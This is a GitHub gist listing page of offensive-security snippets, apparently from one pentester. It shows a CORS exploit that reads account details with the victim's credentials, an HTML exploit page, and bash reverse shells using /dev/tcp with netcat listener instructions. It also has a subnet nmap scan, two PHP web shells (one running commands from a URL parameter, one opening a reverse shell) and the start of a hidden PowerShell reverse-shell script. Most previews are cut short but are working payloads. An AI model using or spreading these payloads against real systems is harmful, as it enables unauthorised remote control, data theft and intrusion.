This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script>var req = new XMLHttpRequest(); req.open('get','https://acb01fc81f8f9958806a0dee004900a5.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send();</script> | |
| //https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script> | |
| //if it does not pop-up, double-check in the console |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <h2>CORS Exploit</h2> | |
| <p>https://gist.github.com/enderphan94</p> | |
| <div id="demo"> | |
| <button type="button" onclick="cors()">Exploit</button> | |
| </div> | |
| <script> | |
| function cors() { | |
| var xhr = new XMLHttpRequest(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /bin/bash -c '/bin/bash -i > /dev/tcp/127.0.0.1/8181 0<&1 2>&1&' | |
| # OR | |
| /bin/bash -i >& /dev/tcp/127.0.0.1/8181 0>&1 | |
| #run `nc -vnlp 8181` on your local machine |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nmap -v -sS -A -T4 192.168.11.1-255 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php passthru($_GET['cmd']); ?> | |
| #http://victim.com?cmd=whoami |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.123/4444 0>&1'"); | |
| #192.168.103.123 is your local machine ip | |
| #run `nc -vnlp 4444` on your local machine |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| powershell -NoP -sta -NonI -W Hidden | |
| function RSC{ | |
| if ($c.Connected -eq $true) { | |
| $c.Close() | |
| }; | |
| if ($p.ExitCode -ne $null) { | |
| $p.Close() | |
| }; | |
| exit; | |
| }; |
NewerOlder